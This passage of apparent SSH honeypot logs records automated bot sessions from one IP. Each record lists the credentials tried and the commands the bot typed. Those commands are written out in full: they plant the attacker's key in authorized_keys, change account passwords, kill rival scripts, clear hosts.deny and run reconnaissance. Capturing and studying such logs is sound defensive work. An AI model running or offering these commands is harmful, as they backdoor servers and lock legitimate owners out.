.ssh"},{"seq":2,"at":"2026-08-27T12:01:40.866457+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:01:46.030859+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:01:46.386802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:01:46.982030+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1qazxsw2!@\\npz0TxVeOhdE7\\npz0TxVeOhdE7\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:01:47.311716+00:00","kind":"input","latency_ms":null,"data":"echo \"1qazxsw2!@\\npz0TxVeOhdE7\\npz0TxVeOhdE7\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:01:47.635480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:01:48.505331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:01:48.834048+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:01:50.073658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:01:50.404686+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:01:51.484858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:01:51.813304+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:01:52.620544+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:01:52.962817+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:01:53.610861+00:00","kind":"output","latency_ms":null,"data":" 12:01:53 up 7 days, 8:52, 0 user, load average: 0.19, 0.24, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:01:53.936694+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:01:54.716751+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:01:55.043622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:01:55.605864+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:01:55.974396+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:01:56.554147+00:00","kind":"output","latency_ms":null,"data":"top - 12:01:56 up 7 days, 8:52, 0 user, load average: 0.19, 0.24, 0.19\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:01:56.879118+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:01:57.147121+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:01:57.473744+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:01:58.192725+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:01:58.522593+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:01:59.048315+00:00","kind":"output","latency_ms":null,"data":"debian"},{"seq":29,"at":"2026-08-27T12:01:59.377750+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:02:00.692603+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:02:01.019038+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:02:02.790251+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"debian","password":"1qazxsw2!@","method":"password","accepted":true,"tier":"other"}]} {"id":"1ac0de0f-d884-4efe-8f73-d57828124d90","name":"oaken-subtle-dingo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":39362,"username":"debian","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:01:44.181600+00:00","ended_at":"2026-08-27T12:01:45.933458+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"debian","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9eb4222a-9c43-4925-8294-507bf7cec108","name":"lunar-vaulted-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":39356,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:01:41.614716+00:00","ended_at":"2026-08-27T12:01:43.494834+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396","name":"cosmic-subtle-wigeon","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":54752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:00:01.262277+00:00","ended_at":"2026-08-27T12:00:02.719823+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T11:59:34.994672+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:59:35.323660+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:59:39.101704+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:59:40.102798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:59:40.432035+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IxzefPIQgiwK\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:59:40.758241+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:59:41.084394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:59:41.886529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:59:42.209856+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:59:42.537708+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:59:44.105166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:59:44.434506+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:59:46.198547+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:59:46.530042+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:59:47.483000+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:59:47.811637+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:59:49.656173+00:00","kind":"output","latency_ms":null,"data":" 11:59:49 up 7 days, 8:49, 0 user, load average: 0.32, 0.33, 0.37\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:59:49.982892+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:59:52.117718+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:59:52.446010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:59:53.656550+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:59:53.984661+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:59:55.164680+00:00","kind":"output","latency_ms":null,"data":"top - 11:59:55 up 7 days, 8:50, 0 user, load average: 0.32, 0.33, 0.37\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:59:55.493235+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:59:57.196516+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:59:57.524837+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:59:58.342025+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:59:58.669897+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:59:59.144699+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:59:59.471725+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:00:00.935477+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:00:01.262917+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:00:02.621646+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"11223311","method":"password","accepted":true,"tier":"other"}]} {"id":"90d3daf2-43a3-43e2-88a2-35b7360d1a22","name":"vaulted-gleaming-badger","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":54758,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:59:37.915882+00:00","ended_at":"2026-08-27T11:59:39.007733+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d092b50c-e976-4a30-89ce-7cb84ef19492","name":"wooded-autumn-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":54756,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:59:36.069921+00:00","ended_at":"2026-08-27T11:59:37.261014+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2e00d555-5ed4-4392-8b86-81cdb972bf6e","name":"lonesome-sleepy-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":33432,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:58:03.193437+00:00","ended_at":"2026-08-27T11:58:05.147503+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2190,"events":[{"seq":1,"at":"2026-08-27T11:57:34.221287+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:57:34.566081+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:57:38.492330+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:57:40.043074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:57:40.387051+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Passw0rd1\\nPnEilzpfaeeG\\nPnEilzpfaeeG\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:57:40.734633+00:00","kind":"input","latency_ms":null,"data":"echo \"Passw0rd1\\nPnEilzpfaeeG\\nPnEilzpfaeeG\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:57:41.079752+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:57:41.539190+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:57:42.546813+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:57:43.280378+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:57:43.626351+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:57:44.997922+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:57:45.350637+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:57:46.210067+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:57:46.558828+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:57:47.524157+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:57:47.870538+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:57:49.629308+00:00","kind":"output","latency_ms":null,"data":" 11:57:49 up 7 days, 8:47, 0 user, load average: 0.24, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:57:49.977468+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:57:52.089270+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:57:52.437258+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:57:53.861642+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:57:54.207223+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:57:55.910045+00:00","kind":"output","latency_ms":null,"data":"top - 11:57:55 up 7 days, 8:48, 0 user, load average: 0.24, 0.2, 0.17\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:57:56.256731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:57:58.218640+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:57:58.567066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:57:59.934143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:58:00.281102+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:58:01.516387+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":31,"at":"2026-08-27T11:58:01.861879+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:58:02.848576+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:58:03.195248+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:58:05.038670+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"Passw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"4d83ec82-8178-4a96-b367-0d52f50e51ab","name":"seaward-placid-oryx","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":33460,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:57:36.702068+00:00","ended_at":"2026-08-27T11:57:38.387008+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"73cd0e1b-a8e0-4021-977e-f7a813a2384d","name":"canny-wiry-loris","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":33446,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:57:35.322490+00:00","ended_at":"2026-08-27T11:57:36.008397+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"88eaab01-6b19-4586-ab2b-498b94696841","name":"glacial-lonesome-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53458,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:55:59.814215+00:00","ended_at":"2026-08-27T11:56:01.897737+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2169,"events":[{"seq":1,"at":"2026-08-27T11:55:39.941454+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:55:40.269480+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:55:43.376641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:55:45.578085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:55:45.905081+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cps123\\neYPIsB5EwN9D\\neYPIsB5EwN9D\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:55:46.237306+00:00","kind":"input","latency_ms":null,"data":"echo \"cps123\\neYPIsB5EwN9D\\neYPIsB5EwN9D\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:55:46.562098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:55:47.105201+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:55:47.431421+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:55:48.524062+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:55:48.853965+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:55:49.678166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:55:50.007175+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:55:50.547055+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:55:51.184861+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:55:52.023200+00:00","kind":"output","latency_ms":null,"data":" 11:55:52 up 7 days, 8:45, 0 user, load average: 0.1, 0.12, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:55:52.351318+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:55:52.960473+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:55:53.290716+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:55:54.116673+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:55:54.443913+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:55:55.176160+00:00","kind":"output","latency_ms":null,"data":"top - 11:55:55 up 7 days, 8:46, 0 user, load average: 0.1, 0.12, 0.1\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:55:55.503183+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:55:55.882196+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:55:56.208459+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:55:56.844600+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 